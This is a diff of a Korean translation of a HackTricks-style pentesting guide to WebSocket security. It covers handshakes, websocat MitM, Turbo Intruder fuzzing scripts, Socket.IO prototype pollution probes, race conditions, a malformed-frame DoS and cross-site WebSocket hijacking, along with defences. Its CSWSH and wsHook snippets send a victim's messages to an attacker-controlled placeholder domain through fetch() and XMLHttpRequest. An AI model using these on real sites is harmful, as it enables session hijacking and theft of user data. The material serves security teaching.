-WebSocket 연결은 초기 **HTTP** 핸드셰이크를 통해 설정되며, **장기 지속**을 위해 설계되어 언제든지 양방향 메시징이 가능하게 하여 거래 시스템이 필요하지 않습니다. 이는 WebSocket이 **낮은 대기 시간 또는 서버 시작 통신**이 필요한 애플리케이션, 예를 들어 실시간 금융 데이터 스트림에 특히 유리하게 만듭니다.
+WebSocket 연결은 초기 **HTTP** 핸드셰이크를 통해 설정되며 **장기간 유지**되도록 설계되어 트랜잭션 시스템 없이도 언제든 양방향 메시징이 가능합니다. 이로 인해 WebSocket은 실시간 금융 데이터 스트림과 같이 **저지연 또는 서버-발신 통신**이 필요한 애플리케이션에 특히 유리합니다.
 
-### WebSocket 연결의 설정
+### WebSocket 연결 설정
 
-WebSocket 연결 설정에 대한 자세한 설명은 [**여기**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)에서 확인할 수 있습니다. 요약하자면, WebSocket 연결은 일반적으로 아래와 같이 클라이언트 측 JavaScript를 통해 시작됩니다:
+WebSocket 연결 수립에 대한 자세한 설명은 [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)에서 확인할 수 있습니다. 요약하면, WebSocket 연결은 일반적으로 아래와 같이 클라이언트 측 JavaScript를 통해 시작됩니다:
 ```javascript
 var ws = new WebSocket("wss://normal-website.com/ws")
 ```
-`wss` 프로토콜은 **TLS**로 보호된 WebSocket 연결을 의미하며, `ws`는 **보안되지 않은** 연결을 나타냅니다.
+`wss` 프로토콜은 **TLS**로 보호되는 WebSocket 연결을 의미하며, `ws`는 **보안되지 않은** 연결을 나타냅니다.
 
-연결 설정 중에 브라우저와 서버 간에 HTTP를 통해 핸드셰이크가 수행됩니다. 핸드셰이크 과정은 브라우저가 요청을 보내고 서버가 응답하는 것으로 구성되며, 다음 예시에서 설명됩니다:
+연결을 설정할 때 브라우저와 서버는 HTTP를 통해 핸드셰이크를 수행합니다. 핸드셰이크 과정은 브라우저가 요청을 보내고 서버가 응답하는 과정으로, 다음 예시에 설명되어 있습니다:
 
 브라우저가 핸드셰이크 요청을 보냅니다:
 ```javascript
@@ -33,46 +33,45 @@ Connection: Upgrade
 Upgrade: websocket
 Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
 ```
-연결이 설정되면 양방향으로 메시지 교환을 위해 열려 있습니다.
+연결이 수립되면 양방향으로 메시지를 교환하기 위해 연결이 열린 상태로 유지됩니다.
 
-**WebSocket 핸드셰이크의 주요 사항:**
+**WebSocket Handshake의 핵심 포인트:**
 
-- `Connection` 및 `Upgrade` 헤더는 WebSocket 핸드셰이크의 시작을 알립니다.
+- `Connection` 및 `Upgrade` 헤더는 WebSocket handshake의 시작을 알립니다.
 - `Sec-WebSocket-Version` 헤더는 원하는 WebSocket 프로토콜 버전을 나타내며, 일반적으로 `13`입니다.
-- Base64로 인코딩된 무작위 값이 `Sec-WebSocket-Key` 헤더에 전송되어 각 핸드셰이크가 고유하도록 보장하며, 이는 캐싱 프록시와 관련된 문제를 방지하는 데 도움이 됩니다. 이 값은 인증을 위한 것이 아니라 응답이 잘못 구성된 서버나 캐시에서 생성되지 않았음을 확인하기 위한 것입니다.
-- 서버의 응답에 있는 `Sec-WebSocket-Accept` 헤더는 `Sec-WebSocket-Key`의 해시로, WebSocket 연결을 열려는 서버의 의도를 검증합니다.
+- `Sec-WebSocket-Key` 헤더에는 Base64로 인코딩된 무작위 값이 전송되어 각 handshake가 고유하도록 합니다. 이는 캐싱 프록시와 관련된 문제를 방지하는 데 도움을 줍니다. 이 값은 인증용이 아니라 응답이 잘못 구성된 서버나 캐시에서 생성된 것이 아님을 확인하기 위한 것입니다.
+- 서버 응답의 `Sec-WebSocket-Accept` 헤더는 `Sec-WebSocket-Key`의 해시로, 서버가 WebSocket 연결을 열 의도가 있음을 검증합니다.
 
-이러한 기능은 핸드셰이크 프로세스가 안전하고 신뢰할 수 있도록 보장하여 효율적인 실시간 통신을 위한 길을 열어줍니다.
+이러한 특징들은 handshake 과정이 안전하고 신뢰할 수 있도록 보장하여 효율적인 실시간 통신을 가능하게 합니다.
 
 ### Linux 콘솔
 
-`websocat`을 사용하여 websocket과의 원시 연결을 설정할 수 있습니다.
+`websocat`을 사용해 websocket과의 원시 연결을 수립할 수 있습니다.
 ```bash
 websocat --insecure wss://10.10.10.10:8000 -v
 ```
-웹소켓 서버를 생성하려면:
+또는 websocat 서버를 생성하려면:
 ```bash
 websocat -s 0.0.0.0:8000 #Listen in port 8000
 ```
 ### MitM websocket 연결
 
-현재 로컬 네트워크에서 클라이언트가 **HTTP websocket**에 연결되어 있는 것을 발견하면, 클라이언트와 서버 간의 MitM 공격을 수행하기 위해 [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)을 시도할 수 있습니다.\
-클라이언트가 연결을 시도할 때, 다음을 사용할 수 있습니다:
+현재 로컬 네트워크에서 클라이언트가 **HTTP websocket**에 연결되어 있는 것을 발견하면 [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)을 시도하여 클라이언트와 서버 사이에 MitM 공격을 수행할 수 있습니다.\ 클라이언트가 연결을 시도하면 다음을 사용할 수 있습니다:
 ```bash
 websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
 ```
-### Websockets enumeration
+### Websockets 열거
 
-**도구** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **를 사용하여 웹소켓에서 알려진** **취약점**을 자동으로 발견하고, 지문을 찍고, 검색할 수 있습니다.
+You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **를 사용하여 websockets에서 알려진** **취약점**을 자동으로 발견, fingerprint 및 검색할 수 있습니다.
 
 ### Websocket Debug tools
 
-- **Burp Suite**는 일반 HTTP 통신과 매우 유사한 방식으로 MitM 웹소켓 통신을 지원합니다.
-- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite 확장**은 **히스토리**를 가져오고, **가로채기 규칙**을 설정하고, **일치 및 교체** 규칙을 사용하고, **Intruder** 및 **AutoRepeater**를 사용하여 Burp에서 웹소켓 통신을 더 잘 관리할 수 있게 해줍니다.
-- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**"의 약자로, Node.js로 작성된 이 도구는 클라이언트와 서버 간의 모든 WebSocket 및 Socket.IO 통신을 **캡처, 가로채기, 사용자 정의** 메시지를 전송하고 볼 수 있는 사용자 인터페이스를 제공합니다.
-- [**wsrepl**](https://github.com/doyensec/wsrepl)는 침투 테스트를 위해 특별히 설계된 **대화형 웹소켓 REPL**입니다. **들어오는 웹소켓 메시지를 관찰하고 새로운 메시지를 전송**할 수 있는 인터페이스를 제공하며, 이 통신을 **자동화**하기 위한 사용하기 쉬운 프레임워크를 제공합니다.
-- [**https://websocketking.com/**](https://websocketking.com/)는 **웹소켓**을 사용하여 다른 웹과 통신하는 **웹**입니다.
-- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket)는 다른 유형의 통신/프로토콜 중에서 **웹소켓**을 사용하여 다른 웹과 통신하는 **웹**을 제공합니다.
+- **Burp Suite**는 일반 HTTP 통신과 매우 유사한 방식으로 MitM websockets 통신을 지원합니다.
+- The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension**은 Burp에서 Websocket 통신을 더 잘 관리할 수 있게 해 주며, **history**를 확인하고 **interception rules**를 설정하며 **match and replace** 규칙을 적용하고 **Intruder**와 **AutoRepeater**를 사용할 수 있게 합니다.
+- [**WSSiP**](https://github.com/nccgroup/wssip)**:** 약칭 "**WebSocket/Socket.io Proxy**"인 이 도구는 Node.js로 작성되었으며 사용자 인터페이스를 제공하여 **capture, intercept, send custom** 메시지를 전송하고 클라이언트와 서버 간의 모든 WebSocket 및 Socket.IO 통신을 볼 수 있게 합니다.
+- [**wsrepl**](https://github.com/doyensec/wsrepl) 은 penetration testing을 위해 특별히 설계된 **interactive websocket REPL**입니다. 이 도구는 **incoming websocket messages and sending new ones**를 관찰하고 전송할 수 있는 인터페이스를 제공하며, 이 통신을 **automating**하기 위한 사용하기 쉬운 프레임워크를 제공합니다.
+- [**https://websocketking.com/**](https://websocketking.com/) 은 **다른 웹과 통신하기 위한 웹 인터페이스**로 websockets를 사용해 다른 웹과 통신할 수 있습니다.
+- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) 는 여러 통신/프로토콜 중 하나로 websockets를 사용해 다른 웹과 통신할 수 있는 **웹 인터페이스**를 제공합니다.
 
 ## Decrypting Websocket
 
@@ -81,33 +80,150 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
 
 ## Websocket Lab
 
-[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course)에서 웹소켓을 사용하여 웹을 시작하는 코드를 찾을 수 있으며, [**이 게시물**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/)에서 설명을 찾을 수 있습니다.
+In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) 에는 websockets를 사용하는 웹을 실행하는 코드가 있으며, [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) 에서 설명을 확인할 수 있습니다.
 
 ## Websocket Fuzzing
 
-Burp 확장 [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner)는 이제 웹소켓 메시지도 퍼징할 수 있습니다. 이에 대한 더 많은 정보는 [**여기**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner)에서 읽을 수 있습니다.
+The burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) 이제 WebSocket 메시지도 퍼징할 수 있게 합니다. 자세한 내용은 [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner)에서 확인하세요.
+
+### WebSocket Turbo Intruder (Burp extension)
+
+PortSwigger's WebSocket Turbo Intruder는 Turbo Intruder–style Python 스크립팅과 고속 퍼징을 WebSockets에 제공합니다. BApp Store 또는 소스에서 설치할 수 있습니다. 두 가지 구성요소를 포함합니다:
+
+- Turbo Intruder: custom engines를 사용해 단일 WS endpoint에 고용량 메시징을 수행합니다.
+- HTTP Middleware: 로컬 HTTP endpoint를 노출하여 바디를 persistent 연결을 통해 WS 메시지로 포워딩하므로, 모든 HTTP 기반 스캐너가 WS 백엔드를 탐색할 수 있게 합니다.
+
+Basic script pattern to fuzz a WS endpoint and filter relevant responses:
+```python
+def queue_websockets(upgrade_request, message):
+connection = websocket_connection.create(upgrade_request)
+for i in range(10):
+connection.queue(message, str(i))
+
+def handle_outgoing_message(websocket_message):
+results_table.add(websocket_message)
+
+@MatchRegex(r'{\"user\":\"Hal Pline\"')
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+단일 메시지가 여러 응답을 유발할 때 노이즈를 줄이기 위해 `@MatchRegex(...)` 같은 데코레이터를 사용하세요.
+
+### HTTP 뒤의 WS 브리지 (HTTP Middleware)
+
+지속적인 WS 연결을 래핑하고 HTTP 본문을 WS 메시지로 전달하여 HTTP scanners로 자동화된 테스트를 수행합니다:
+```python
+def create_connection(upgrade_request):
+connection = websocket_connection.create(upgrade_request)
+return connection
+
+@MatchRegex(r'{\"user\":\"You\"')
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+그런 다음 로컬로 HTTP를 전송합니다; 본문은 WS 메시지로 전달됩니다:
+```http
+POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
+Host: 127.0.0.1:9000
+Content-Length: 16
+
+{"message":"hi"}
+```
+이 방법으로 WS 백엔드를 제어하면서 “흥미로운” 이벤트(예: SQLi errors, auth bypass, command injection behavior)를 필터링할 수 있습니다.
+
+### Socket.IO 처리 (핸드셰이크, 하트비트, 이벤트)
+
+Socket.IO는 WS 위에 자체적인 프레이밍을 추가합니다. 필수 쿼리 매개변수 `EIO`(예: `EIO=4`)로 이를 감지하세요. Ping (`2`)와 Pong (`3`)으로 세션을 유지하고 대화를 `"40"`으로 시작한 뒤 `42["message","hello"]` 같은 이벤트를 emit하세요.
+
+Intruder 예시:
+```python
+import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
+
+def queue_websockets(upgrade_request, message):
+connection = websocket_connection.create(
+upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
+connection.queue('40')
+connection.queue('42["message","hello"]')
+
+@Pong("3")
+def handle_outgoing_message(websocket_message):
+results_table.add(websocket_message)
+
+@PingPong("2", "3")
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+HTTP 어댑터 변형:
+```python
+import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
+
+def create_connection(upgrade_request):
+connection = websocket_connection.create(
+upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
+connection.queue('40')
+connection.decIn()
+return connection
+
+@Pong("3")
+def handle_outgoing_message(websocket_message):
+results_table.add(websocket_message)
+
+@PingPong("2", "3")
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+### Socket.IO를 통한 서버 측 prototype pollution 탐지
+
+PortSwigger의 안전한 탐지 기법을 따라, 다음과 같은 payload를 전송해 Express 내부를 오염시켜 보세요:
+```json
+{"__proto__":{"initialPacket":"Polluted"}}
+```
+만약 인사말이나 동작이 변경되면(예: echo에 "Polluted"가 포함되는 경우), 서버 측 프로토타입을 오염시킨 것일 가능성이 큽니다. 영향은 도달 가능한 sinks에 따라 달라지며, Node.js prototype pollution 섹션의 gadgets와 연관지어 보세요. 참고:
+
+- Check [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
+
+### WebSocket race conditions with Turbo Intruder
+
+기본 엔진은 한 연결에서 메시지를 배치 처리합니다(처리량은 우수하지만 레이스에는 부적합). THREADED 엔진을 사용해 여러 WS 연결을 생성하고 페이로드를 병렬로 전송하면 논리적 레이스(double‑spend, token reuse, state desync)를 유발할 수 있습니다. 예제 스크립트에서 시작해 `config()`의 동시성 설정을 조정하세요.
+
+- Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”).
+
+### WebSocket DoS: malformed frame “Ping of Death”
+
+헤더에 거대한 페이로드 길이를 선언하지만 본문은 전송하지 않는 WS 프레임을 제작하세요. 일부 WS 서버는 길이를 신뢰하고 버퍼를 미리 할당하므로 `Integer.MAX_VALUE`에 가깝게 설정하면 Out‑Of‑Memory를 일으켜 원격 unauth DoS를 유발할 수 있습니다. 예제 스크립트를 참조하세요.
+
+### CLI 및 디버깅
+
+- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
+- 내부 ID를 사용해 메시지를 캡처하고 연관시키려면 WS Logger를 활성화하세요.
+- 복잡한 어댑터에서 메시지 ID 처리를 조정하려면 `Connection`의 `inc*`/`dec*` 헬퍼를 사용하세요.
+- `@PingPong`/`@Pong` 같은 데코레이터와 `isInteresting()` 같은 헬퍼는 노이즈를 줄이고 세션을 유지하는 데 도움됩니다.
+
+### 운영 안전성
+
+고속 WS fuzzing은 많은 연결을 열고 초당 수천 개의 메시지를 보낼 수 있습니다. 잘못된 프레임과 높은 전송률은 실제 DoS를 유발할 수 있습니다. 허가된 곳에서만 사용하세요.
 
 ## Cross-site WebSocket hijacking (CSWSH)
 
-**교차 사이트 웹소켓 하이재킹**은 **교차 출처 웹소켓 하이재킹**으로도 알려져 있으며, 웹소켓 핸드셰이크에 영향을 미치는 **[교차 사이트 요청 위조 (CSRF)](csrf-cross-site-request-forgery.md)**의 특정 사례로 식별됩니다. 이 취약점은 웹소켓 핸드셰이크가 **CSRF 토큰**이나 유사한 보안 조치 없이 오직 **HTTP 쿠키**를 통해 인증될 때 발생합니다.
+**Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, 은 WebSocket 핸드셰이크에 영향을 미치는 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**의 특정 사례로 분류됩니다. 이 취약점은 WebSocket 핸드셰이크가 **HTTP cookies**만으로 인증하고 **CSRF tokens**나 유사한 보안 수단을 사용하지 않을 때 발생합니다.
 
-공격자는 **취약한 애플리케이션**에 대한 교차 사이트 웹소켓 연결을 시작하는 **악성 웹 페이지**를 호스팅하여 이를 악용할 수 있습니다. 결과적으로 이 연결은 애플리케이션과의 피해자의 세션의 일부로 간주되며, 세션 처리 메커니즘에서 CSRF 보호가 부족한 점을 악용합니다.
+공격자는 취약한 애플리케이션으로 cross-site WebSocket 연결을 시도하는 **malicious web page**를 호스팅하여 이를 악용할 수 있습니다. 결과적으로 이 연결은 애플리케이션에서 피해자 세션의 일부로 취급되어 세션 처리 메커니즘에서 CSRF 보호가 없는 점을 악용하게 됩니다.
 
-이 공격이 작동하기 위해서는 다음과 같은 요구 사항이 있습니다:
+In order for this attack to work, these are the requirements:
 
-- 웹소켓 **인증은 쿠키 기반이어야 합니다.**
-- 쿠키는 공격자의 서버에서 접근 가능해야 합니다 (이는 일반적으로 **`SameSite=None`**을 의미하며, Firefox에서 **Firefox Total Cookie Protection**이 활성화되지 않아야 하고 Chrome에서 **차단된 제3자 쿠키**가 없어야 합니다).
-- 웹소켓 서버는 연결의 출처를 확인하지 않아야 합니다 (또는 이를 우회할 수 있어야 합니다).
+- websocket 인증은 **cookie 기반**이어야 합니다.
+- cookie는 공격자의 서버에서 접근 가능해야 합니다(일반적으로 **`SameSite=None`**을 의미). 또한 Firefox에서 **Firefox Total Cookie Protection**이 활성화되어 있지 않고 Chrome에서 **blocked third-party cookies**가 차단되어 있지 않아야 합니다.
+- websocket 서버가 연결의 origin을 검사하지 않거나(또는 이를 우회할 수 있어야 함).
 
-또한:
+Also:
 
-- 인증이 로컬 연결(로컬호스트 또는 로컬 네트워크)에 기반하는 경우 공격이 **가능합니다**. 현재 보호 조치가 이를 금지하지 않기 때문입니다 (자세한 정보는 [여기](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)에서 확인하세요).
+- If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
 
 ### Simple Attack
 
-웹소켓 연결을 **설정할 때** **쿠키**가 **서버**로 **전송**된다는 점에 유의하세요. **서버**는 이를 사용하여 각 **특정** **사용자**와 그의 **웹소켓** **세션을 전송된 쿠키를 기반으로** **연관**시킬 수 있습니다.
+참고로 **websocket** 연결을 설정할 때 **cookie**가 서버로 전송됩니다. 서버는 전송된 cookie를 기반으로 각 특정 사용자의 **websocket session**을 연관시킬 수 있습니다.
 
-그런 다음, 예를 들어 **웹소켓** **서버**가 사용자의 대화 **히스토리**를 **전송**하는 경우, "**READY**"라는 메시지가 전송되면, **간단한 XSS**가 연결을 설정하고 (이때 **쿠키**가 피해자 사용자를 인증하기 위해 **자동으로 전송**됨) "**READY**"를 전송하면 대화의 **히스토리**를 **가져올 수 있습니다**.
+예를 들어 websocket 서버가 "READY"라는 msg가 전송되면 사용자 대화 기록을 반환하는 경우, 연결을 수립하는 간단한 XSS(쿠키가 피해자 사용자를 인증하기 위해 자동으로 전송됨)가 "READY"를 전송하면 대화 기록을 조회할 수 있습니다.:
 ```html
 <script>
 websocket = new WebSocket('wss://your-websocket-URL')
@@ -122,13 +238,13 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
 }
 </script>
 ```
-### Cross Origin + Cookie with a different subdomain
+### 다른 subdomain에서의 Cross Origin + Cookie
 
-이 블로그 게시물 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)에서 공격자는 **웹 소켓 통신이 발생하는 도메인의 서브도메인에서 임의의 Javascript를 실행**하는 데 성공했습니다. **서브도메인**이었기 때문에 **쿠키**가 **전송**되었고, **웹소켓이 Origin을 제대로 확인하지 않았기 때문에**, 이를 통해 통신하고 **토큰을 훔치는** 것이 가능했습니다.
+In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)에서는 공격자가 웹소켓 통신이 발생하던 도메인의 **execute arbitrary Javascript in a subdomain**에 성공했습니다. 해당 도메인이 **subdomain**였기 때문에 **cookie**가 **sent**되었고, **Websocket didn't check the Origin properly** 때문에 통신이 가능해 **steal tokens from it**할 수 있었습니다.
 
-### Stealing data from user
+### 사용자로부터 데이터 훔치기
 
-당신이 가장하고 싶은 웹 애플리케이션을 복사하세요 (예: .html 파일) 그리고 웹소켓 통신이 발생하는 스크립트 안에 이 코드를 추가하세요:
+사칭하려는 웹 애플리케이션(예: .html 파일)을 복사한 다음, websocket 통신이 발생하는 스크립트 내부에 다음 코드를 추가하세요:
 ```javascript
 //This is the script tag to load the websocket hooker
 ;<script src="wsHook.js"></script>
@@ -148,42 +264,50 @@ xhttp.send()
 return messageEvent
 }
 ```
-이제 `wsHook.js` 파일을 [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook)에서 다운로드하고 **웹 파일이 있는 폴더에 저장하세요**.\
-웹 애플리케이션을 노출시키고 사용자가 연결하게 하면 websocket을 통해 전송된 메시지와 수신된 메시지를 훔칠 수 있습니다:
+이제 [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook)에서 `wsHook.js` 파일을 다운로드하고 **웹 파일이 있는 폴더 안에 저장하세요**.\
+웹 애플리케이션을 노출시키고 사용자가 접속하게 하면 websocket을 통해 송수신된 메시지를 훔칠 수 있습니다:
 ```javascript
 sudo python3 -m http.server 80
 ```
 ### CSWSH 보호
 
-CSWSH 공격은 **사용자가 악성 페이지에 연결**하여 **웹소켓 연결을 열**고 사용자가 이미 연결된 웹 페이지에 인증하는 사실에 기반합니다. 요청은 사용자의 쿠키를 전송합니다.
+CSWSH 공격은 **사용자가 악성 페이지에 접속**하고 그 페이지가 사용자가 이미 접속한 웹페이지에 **websocket 연결을 열어** 요청에 사용자의 cookies가 포함되어 사용자인 것처럼 인증되게 한다는 점에 기반합니다.
 
-현재 이 문제를 방지하는 것은 매우 쉽습니다:
+요즘에는 이 문제를 방지하기가 매우 쉽습니다:
 
-- **웹소켓 서버의 출처 확인**: 웹소켓 서버는 항상 사용자가 어디에서 연결하고 있는지 확인하여 예기치 않은 페이지가 연결되는 것을 방지해야 합니다.
-- **인증 토큰**: 인증을 쿠키에 기반하기보다는, 웹소켓 연결을 공격자에게 알려지지 않은 사용자에 대해 서버에서 생성된 토큰에 기반할 수 있습니다 (예: anti-CSRF 토큰).
-- **SameSite 쿠키 속성**: `SameSite` 값이 `Lax` 또는 `Strict`인 쿠키는 외부 공격자의 페이지에서 피해자 서버로 전송되지 않으므로, 쿠키 기반 인증이 성공하지 않습니다. Chrome은 이제 이 플래그가 지정되지 않은 쿠키에 **`Lax`** 값을 기본적으로 설정하여 더 안전하게 만듭니다. 그러나 쿠키가 생성된 첫 2분 동안은 **`None`** 값을 가지므로 그 제한된 시간 동안 취약합니다 (이 조치가 언젠가는 제거될 것으로 예상됩니다).
-- **Firefox 전체 쿠키 보호**: 전체 쿠키 보호는 쿠키를 생성된 사이트에 격리하여 작동합니다. 본질적으로 각 사이트는 제3자가 사용자의 브라우징 기록을 연결하지 못하도록 자체 쿠키 저장소 파티션을 가집니다. 이는 **CSWSH를 사용할 수 없게** 만듭니다. 공격자의 사이트는 쿠키에 접근할 수 없습니다.
-- **Chrome 제3자 쿠키 차단**: 이는 `SameSite=None`일지라도 인증된 사용자의 쿠키가 웹소켓 서버로 전송되는 것을 방지할 수 있습니다.
+- **Websocket server checking the origin**: websocket 서버는 항상 연결하는 출처(origin)를 확인하여 예상치 못한 페이지가 연결되는 것을 방지해야 합니다.
+- **Authentication token**: 인증을 cookie에 기반하지 않고, websocket 연결을 서버가 사용자용으로 생성하고 공격자가 모르는 token(예: anti-CSRF token)에 기반하도록 할 수 있습니다.
+- **SameSite Cookie attribute**: `SameSite` 값이 `Lax` 또는 `Strict`인 cookies는 외부 공격자 페이지에서 피해 서버로 전송되지 않으므로 cookie 기반 인증은 성공하지 않습니다. Chrome은 이제 이 플래그가 지정되지 않은 쿠키에 기본적으로 **`Lax`** 값을 설정하여 기본적으로 더 안전하게 만듭니다. 다만 쿠키가 생성된 처음 2분 동안은 값이 **`None`**이 되어 그 제한된 기간 동안 취약해지며(또한 이 조치가 언젠가 제거될 것으로 예상됩니다).
+- **Firefox Total Cookie Protection**: Total Cookie Protection은 쿠키를 생성된 사이트에 격리시켜 동작합니다. 본질적으로 각 사이트는 제3자가 사용자의 브라우징 기록을 연결하지 못하도록 자체 cookie 저장 파티션을 가지게 됩니다. 이로 인해 공격자 사이트는 cookies에 접근할 수 없어 **CSWSH 사용이 불가능해집니다**.
+- **Chrome third-party cookies block**: Chrome의 third-party cookies 차단은 `SameSite=None`인 경우에도 인증된 사용자의 cookie가 websocket 서버로 전송되는 것을 방지할 수 있습니다.
 
-## 경쟁 조건
+## Race Conditions
 
-웹소켓의 경쟁 조건도 존재합니다, [자세한 정보를 확인하세요](race-condition.md#rc-in-websockets).
+WebSockets에서의 Race Conditions도 존재합니다. 자세한 내용은 [여기](race-condition.md#rc-in-websockets)를 확인하세요.
 
 ## 기타 취약점
 
-웹소켓은 **서버 측과 클라이언트 측에 데이터를 전송하는 메커니즘**이므로, 서버와 클라이언트가 정보를 처리하는 방식에 따라 **웹소켓은 XSS, SQLi 또는 웹에서 일반적으로 발생하는 다른 취약점을 악용하는 데 사용될 수 있습니다.**
+Web Sockets는 서버와 클라이언트 양쪽으로 데이터를 전송하는 메커니즘이므로, 서버·클라이언트가 정보를 처리하는 방식에 따라 **Web Sockets를 통해 websocket으로부터 전달되는 사용자 입력을 이용해 XSS, SQLi 등 기타 일반적인 웹 취약점을 악용할 수 있습니다.**
 
-## **웹소켓 스머글링**
+## **WebSocket Smuggling**
 
-이 취약점은 **역방향 프록시 제한을 우회**할 수 있게 해주며, **웹소켓 통신이 설정되었다고 믿게 만들 수 있습니다** (사실이 아닐지라도). 이는 공격자가 **숨겨진 엔드포인트에 접근**할 수 있게 해줍니다. 더 많은 정보는 다음 페이지를 확인하세요:
+이 취약점은 **reverse proxies 제한을 우회**하도록 만들어 (실제로 그렇지 않더라도) **websocket 통신이 성립된 것으로 믿게 할 수 있습니다.** 이는 공격자가 **숨겨진 엔드포인트에 접근**할 수 있게 할 수 있습니다. 자세한 내용은 다음 페이지를 확인하세요:
 
 {{#ref}}
 h2c-smuggling.md
 {{#endref}}
 
-## 참고 문헌
+## References
 
 - [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
 - [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
+- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
+- [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
+- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
+- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
+- [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
+- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
+- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
+- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
 
 {{#include ../banners/hacktricks-training.md}}